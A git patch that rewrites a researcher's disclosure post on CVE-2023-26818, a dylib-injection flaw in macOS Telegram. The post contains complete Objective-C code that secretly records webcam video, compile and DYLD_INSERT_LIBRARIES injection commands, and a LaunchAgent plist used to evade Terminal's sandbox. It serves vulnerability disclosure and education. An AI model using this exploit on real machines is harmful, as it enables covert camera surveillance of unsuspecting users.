From 34b62c0c2d7c5ea68b1dc739a35b660e9efceaf7 Mon Sep 17 00:00:00 2001 From: Dan Revah Date: Sun, 4 Aug 2024 13:54:09 +0300 Subject: [PATCH] rephrase CVE telegram --- ...CVE-2023-26818-Bypass-TCC-with-Telegram.md | 191 +++++++++--------- 1 file changed, 92 insertions(+), 99 deletions(-) diff --git a/_posts/2023-05-15-CVE-2023-26818-Bypass-TCC-with-Telegram.md b/_posts/2023-05-15-CVE-2023-26818-Bypass-TCC-with-Telegram.md index 0246dfa..9f73215 100644 --- a/_posts/2023-05-15-CVE-2023-26818-Bypass-TCC-with-Telegram.md +++ b/_posts/2023-05-15-CVE-2023-26818-Bypass-TCC-with-Telegram.md @@ -1,71 +1,66 @@ --- -title: CVE-2023-26818 - Bypass TCC with Telegram in macOS -date: 2023-05-15 +title: CVE-2023-26818 - Bypassing TCC with Telegram in macOS +date: 2023-05-15 --- # Preface -The following article will focus on a weakness in the Telegram application on macOS that allows for the injection of a Dynamic Library (or Dylib for short). The article will cover several basic concepts in macOS to provide the relevant background that will help the reader understand the process of identifying the weakness and writing an exploit that will gain a local privilege escalation by getting access to the camera through the permissions that were prreviously ganted to the Telegram application. +Let’s dive into a sneaky flaw in the Telegram app on macOS that lets us inject a Dynamic Library (Dylib). We'll cover some essential macOS concepts to help you grasp how we spotted this weakness and crafted a clever exploit to hijack your webcam, riding on the permissions Telegram was already granted. You’ll learn how this exploit gives you a local privilege escalation by tapping into the camera. -It should be noted that even the Root user on macOS does not have permissions to access the microphone or record the screen (etc.) unless the application has received direct Consent from the user during the initial access of the application (or by manually opening the permissions through the UI in System Preferences). +Here’s something interesting about macOS: even the mighty Root user can’t access your microphone or start recording your screen unless the app has your explicit consent. This feature, accessible via System Preferences, ensures your privacy isn’t compromised without you knowing. -We will go over several basic concepts in macOS and then continue to see how we can identify the weakness in the application. After that, we will write the Dylib that will be used in the exploit to perform the recording from the camera and save it to a file. Additionally, we will see how we can bypass the Sandbox of the terminal using LaunchAgent. Eventually leading to a local privilege escalation, allowing an attacker to gain more privileges by accessing privacy-restricted areas. +In this post, we’ll guide you through some fundamental macOS concepts, identify the Telegram app's vulnerability, write a crafty Dylib to access the camera, and save the footage. Plus, we’ll show you how to break out of the Terminal’s sandbox using LaunchAgent to orchestrate a local privilege escalation. Ready? Let’s go! -Timeline since the beginning of the research appears as follows: +Here’s a timeline of our exploration: -- 03/02/2023: Vulnerability discovery -- 03/02/2023 - 16/03/2023: Number of correspondences with security@telegram.org that have not been addressed yet -- 10/02/2023: Reporting the vulnerability to MITRE -- 26/03/2023: Reporting to VINCE to receive assistance in coordination with Telegram for vulnerability remediation and disclosure -- 05/04/2023: CVE-2023-26818 - Receiving a "reserved" CVE for vulnerability disclosure -- 15/05/2023: Expiration of grace period with VINCE and the day on which the vulnerability will be disclosed. +- **03/02/2023:** Vulnerability discovery. +- **03/02/2023 - 16/03/2023:** Multiple emails sent to security@telegram.org (sadly, none addressed yet). +- **10/02/2023:** Vulnerability reported to MITRE. +- **26/03/2023:** Reached out to VINCE for help in coordinating with Telegram for vulnerability remediation and disclosure. +- **05/04/2023:** CVE-2023-26818 assigned—CVE reserved for disclosure. +- **15/05/2023:** Grace period with VINCE expires, and the vulnerability disclosure day arrives. -# Background +# Background -Transparency, Consent, and Control (TCC) is a mechanism in macOS that manages access to certain areas defined as "privacy-protected." Authorization to access these areas is enabled by collecting consent from users or by detecting the user's intent through a specific action. +In macOS, the Transparency, Consent, and Control (TCC) framework manages access to "privacy-protected" zones. Your authorization to access these areas is collected either by user consent or by detecting the user’s intent through a specific action. # Entitlements -Entitlements are permissions given to a specific binary in order to obtain certain privileges. For example, in order for an application to access the microphone, it must be signed with the corresponding entitlement and receive permission from the user upon the app's initial access to the microphone. +Entitlements are special permissions granted to a binary, allowing it to perform certain privileged actions. For instance, if an app wants to access your microphone, it must be signed with the right entitlement and must receive your approval the first time it tries to access the mic. -More information about entitlements can be found on Apple's website: -https://developer.apple.com/documentation/bundleresources/entitlements +To dig deeper into entitlements, check out Apple’s official documentation: +[Apple Developer Entitlements](https://developer.apple.com/documentation/bundleresources/entitlements) # Hardened Runtime -The Hardened Runtime, according to Apple developers, protects the runtime integrity of software by preventing certain types of exploits, such as code injection, dynamically linked library (DLL) hijacking, and process memory space tampering, along with System Integrity Protection (SIP). +According to Apple, Hardened Runtime is designed to keep software safe from exploits such as code injection, DLL hijacking, and process memory tampering, all thanks to System Integrity Protection (SIP). -This means that the Hardened Runtime mechanism adds security to apps that have been defined as "hardened". In iOS, in order to upload an app to the App Store, it must be signed with the Hardened Runtime entitlement. However, this requirement does not seem to exist in macOS. +This feature strengthens the security of "hardened" apps. While iOS mandates the Hardened Runtime for App Store submissions, macOS isn’t as strict. -The Hardened Runtime mechanism adds a set of security rules that protect the binary from a wide range of actions, including injection of code, dylib, access to the process memory from another process, and more. Developers can still reduce some of the security measures by using certain entitlements that decrease security in specific areas. +The Hardened Runtime adds layers of protection to binaries against various threats like code or dylib injections, or external access to a process’s memory. However, developers can tweak these security settings using specific entitlements to relax the rules for specific functionalities. -For example, with the entitlement `com.apple.security.cs.allow-dyld-environment-variables`, the binary can receive dylib injections through an environment variable. But as long as the binary is hardened, we will not be able to inject a library that was not signed by the same team. Therefore, only a combination of the entitlement `com.apple.security.cs.disable-library-validation` will allow us to load a library that was not signed by the same developer. Since the latter cancels the signature validation of the dylib against the software, we can load any library. The latter is useful in software that allows the development and use of third-party plugins. +For example, using `com.apple.security.cs.allow-dyld-environment-variables`, a binary can accept Dylib injections via environment variables. Still, if the binary is hardened, you can't inject an unsigned library unless you also include `com.apple.security.cs.disable-library-validation`, which bypasses Dylib signature checks. This setting is often used in apps that support third-party plugins. # DYLD_INSERT_LIBRARIES -This is an environment variable that, when used, contains a list of libraries that will be loaded before the application starts up. +This environment variable lists libraries to load before an application starts, allowing for some interesting exploits: -We can use the injection through the environment variable in several cases: +1. When the application isn’t "Hardened Runtime," you can inject a Dylib using this environment variable. +2. If it is hardened, and has the entitlements: + - "Disable-library-validation," enabling any Dylib to run without checking its signature. + - `com.apple.security.cs.allow-dyld-environment-variables`, which eases Hardened Runtime restrictions, enabling `DYLD_INSERT_LIBRARIES`. -1. When the application is not defined as "Hardened Runtime" and therefore allows the injection of Dylib using the environment variable. -1. When the binary is hardened runtime, and in addition, the programmer released it with the appropriate entitlements: - * "Disable-library-validation", which allows any Dylib to run on the binary even without checking who signed the file and the library. This permission usually exists in programs that allow community-written plugins. - * `com.apple.security.cs.allow-dyld-environment-variables` lossens the hardened runtime restrictions and allows the use of `DYLD_INSERT_LIBRARIES` to inject a library. +By downloading Telegram from the App Store, we can inspect its signature and entitlements using the `codesign` command: -If we continue and download the Telegram app from the AppStore, we can check its signature and entitlements using the "codesign" command. +![Code Sign Example](https://danrevah.github.io/images/telegram/codesign.png) -![](https://danrevah.github.io/images/telegram/codesign.png) - -We can see that the file is not hardened from the line that begins with "Code Directory," and we will look at the flags that are defined as "none." In the case of a hardened runtime, we can see the hardening as a flag right there. - -In other words, it appears that Telegram did not harden the version of the application that was uploaded to the macOS App Store. Therefore, we can use `DYLD_INSERT_LIBRARIES` directly without caring of the entitlements signed on it. (Note that the list of entitlements is displayed as XML at the end of the output of the codesign command above.) +Notice that the "Code Directory" lacks the "hardened" flag, indicating that Telegram isn’t hardened for macOS. So, we can use `DYLD_INSERT_LIBRARIES` without worrying about entitlements, as seen at the end of the `codesign` output in XML format. # Creating the Dylib +To perform a Dylib injection, we’ll first create one using Objective-C. Our next step is to write a Dylib that captures video from the camera and saves it to disk. -In order to inject a dylib, we first need to create a dylib in Objective-C. In the next step, we will write a Dylib that captures video from the camera and saves the recording to disk. - -We will create a new file called telegram.m: +Let's start by creating a new file named `telegram.m`: ```objc #import @@ -76,40 +71,37 @@ NSLog(@"[+] Dynamic library loaded into %@", argv[0]); } ``` -We will start by printing a message to the screen so that we can verify that we have successfully loaded the dylib. Note that `attribute((constructor))` marks the function that will run before the application's main function, into which we injected the dylib (in this case - Telegram). +We begin by printing a message to confirm successful Dylib loading. The `attribute((constructor))` ensures our function runs before the main function of the application receiving the injection—Telegram, in this case. -We will compile the library using gcc: +Compile this library using `gcc`: ```shell $ gcc -dynamiclib -framework Foundation telegram.m -o telegram.dylib ``` -Notice that we need to add the Foundation framework to the gcc command in order to compile the file after importing the library and using it (NSLog). +Include the Foundation framework with `gcc` since we’re using it for logging. -Now, we can load the compiled library using the `DYLD_INSERT_LIBRARIES` environment variable: +Load the compiled library with `DYLD_INSERT_LIBRARIES`: ```shell $ DYLD_INSERT_LIBRARIES=telegram.dylib /Applications/Telegram.app/Contents/MacOS/Telegram ``` -It seems that we successfully loaded the library when we see the following output: +Success! You’ll see: -```shell +``` [+] Dynamic library loaded into /Applications/Telegram.app/Contents/MacOS/Telegram ``` -Note that if we try to use `DYLD_INSERT_LIBRARIES` in another binary that is hardedend and does not have the matching entitlement, we will not be able to load the library and we will not see the above output. - -For example, let's take Safari and try to load the library: +Trying `DYLD_INSERT_LIBRARIES` on a hardened binary without matching entitlements won’t work. For instance, with Safari: ```shell DYLD_INSERT_LIBRARIES=telegram.dylib /Applications/Safari.app/Contents/MacOS/Safari ``` -Note that in this case, we do not see the prompt on the screen because the binary is hardened (we can see that it is runtime hardened using codesign). -Now that we have successfully loaded the dylib, we will continue writing the code. Let's go back to the telegram.m file we created earlier and write code that captures video from the camera for 3 seconds and saves the recording to a file. +No output appears, as Safari is hardened. Now that we’ve loaded our Dylib, let's code it to capture 3 seconds of video from the camera and save it. -The full code can be found here: +Here’s the full code: ```objc #import @@ -129,69 +121,69 @@ The full code can be found here: @implementation VideoRecorder - (instancetype)init { - self = [super init]; - if (self) { - [self setupCaptureSession]; - } - return self; -} + self = [super init]; + if (self) { + [self setupCaptureSession]; + } + return self; + } - (void)setupCaptureSession { - self.captureSession = [[AVCaptureSession alloc] init]; - self.captureSession.sessionPreset = AVCaptureSessionPresetHigh; + self.captureSession = [[AVCaptureSession alloc] init]; + self.captureSession.sessionPreset = AVCaptureSessionPresetHigh; - AVCaptureDevice *videoDevice = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeVideo]; - NSError *error; - self.videoDeviceInput = [[AVCaptureDeviceInput alloc] initWithDevice:videoDevice error:&error]; + AVCaptureDevice *videoDevice = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeVideo]; + NSError *error; + self.videoDeviceInput = [[AVCaptureDeviceInput alloc] initWithDevice:videoDevice error:&error]; - if (error) { - NSLog(@"Error setting up video device input: %@", [error localizedDescription]); - return; - } + if (error) { + NSLog(@"Error setting up video device input: %@", [error localizedDescription]); + return; + } - if ([self.captureSession canAddInput:self.videoDeviceInput]) { - [self.captureSession addInput:self.videoDeviceInput]; - } + if ([self.captureSession canAddInput:self.videoDeviceInput]) { + [self.captureSession addInput:self.videoDeviceInput]; + } - self.movieFileOutput = [[AVCaptureMovieFileOutput alloc] init]; + self.movieFileOutput = [[AVCaptureMovieFileOutput alloc] init]; - if ([self.captureSession canAddOutput:self.movieFileOutput]) { - [self.captureSession addOutput:self.movieFileOutput]; - } -} + if ([self.captureSession canAddOutput:self.movieFileOutput]) { + [self.captureSession addOutput:self.movieFileOutput]; + } + } - (void)startRecording { - [self.captureSession startRunning]; - NSString *outputFilePath = [NSTemporaryDirectory() stringByAppendingPathComponent:@"recording.mov"]; - NSURL *outputFileURL = [NSURL fileURLWithPath:outputFilePath]; - [self.movieFileOutput startRecordingToOutputFileURL:outputFileURL recordingDelegate:self]; - NSLog(@"Recording started"); -} + [self.captureSession startRunning]; + NSString *outputFilePath = [NSTemporaryDirectory() stringByAppendingPathComponent:@"recording.mov"]; + NSURL *outputFileURL = [NSURL fileURLWithPath:outputFilePath]; + [self.movieFileOutput startRecordingToOutputFileURL:outputFileURL recordingDelegate:self]; + NSLog(@"Recording started"); + } - (void)stopRecording { - [self.movieFileOutput stopRecording]; - [self.captureSession stopRunning]; - NSLog(@"Recording stopped"); -} + [self.movieFileOutput stopRecording]; + [self.captureSession stopRunning]; + NSLog(@"Recording stopped"); + } #pragma mark - AVCaptureFileOutputRecordingDelegate - (void)captureOutput:(AVCaptureFileOutput *)captureOutput -didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL - fromConnections:(NSArray *)connections - error:(NSError *)error { - if (error) { - NSLog(@"Recording failed: %@", [error localizedDescription]); - } else { - NSLog(@"Recording finished successfully. Saved to %@", outputFileURL.path); - } -} + didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL + fromConnections:(NSArray *)connections + error:(NSError *)error { + if (error) { + NSLog(@"Recording failed: %@", [error localizedDescription]); + } else { + NSLog(@"Recording finished successfully. Saved to %@", outputFileURL.path); + } + } @end __attribute__((constructor)) static void telegram(int argc, const char **argv) { - VideoRecorder *videoRecorder = [[VideoRecorder alloc] init]; +VideoRecorder *videoRecorder = [[VideoRecorder alloc] init]; [videoRecorder startRecording]; [NSThread sleepForTimeInterval:3.0]; @@ -201,25 +193,26 @@ static void telegram(int argc, const char **argv) { } ``` -Which we will compile by using gcc again: +Compile it again with `gcc`: ```shell $ gcc -dynamiclib -framework Foundation -framework AVFoundation telegram.m -o telegram.dylib ``` -Now if we take the Dylib and use the `DYLD_INSERT_LIBRARIES` parameter as we did before, and inject the Dylib into Telegram, we will encounter the following message: +Inject the Dylib using `DYLD_INSERT_LIBRARIES` as before, and when you run Telegram, this pops up: ``` "Terminal" would like to access the camera. ``` -It seems that the Terminal app is trying to access the video instead of Telegram! So, what's actually happening here? -In macOS, when we run applications through the Terminal, the applications inherit its Sandbox profile. Therefore, it seems that at this stage, the Terminal app is actually restricting access to the camera. +Oops! It seems like Terminal, not Telegram, is asking for camera access. Here's why: + +When apps run via Terminal, they inherit its sandbox profile. Terminal ends up blocking camera access. -To bypass the Sandbox, we will need to run the application in a different way. Instead of using the Terminal, we can use the LaunchAgents mechanism, which allows us to run processes in the background and schedule their execution. +To escape Terminal’s sandbox, we'll use LaunchAgents to run processes in the background. -To create a new LaunchAgent, we will create a new file named `com.telegram.launcher.plist` under the `~/Library/LaunchAgents` directory. We will define the LaunchAgent as XML and configure the `DYLD_INSERT_LIBRARIES` as follows: +Create a file named `com.telegram.launcher.plist` under `~/Library/LaunchAgents`, defining the LaunchAgent in XML and setting `DYLD_INSERT_LIBRARIES`: ```xml @@ -237,7 +230,7 @@ To create a new LaunchAgent, we will create a new file named `com.telegram.launc ProgramArguments - /Applications/Telegram.app/Contents/MacOS/Telegram + /Applications/Telegram.app/Contents/MacOS/Telegram StandardOutPath /tmp/telegram.log @@ -259,7 +252,7 @@ Since Telegram is defined with a Sandbox profile, the file will be saved in a pa $ cat /tmp/telegram.log 2023-05-15 12:28:49.691 Telegram[84946:735528] Recording started 2023-05-15 12:28:52.808 Telegram[84946:735528] Recording stopped -2023-05-15 12:28:52.814 Telegram[84946:735528] Recording finished successfully. +2023-05-15 12:28:52.814 Telegram[84946:735528] Recording finished successfully. Saved to /var/folders/0k/f6bdvnb52kb1wqkq2qgd07nh00mkw1/T/ru.keepcoder.Telegram/recording.mov ```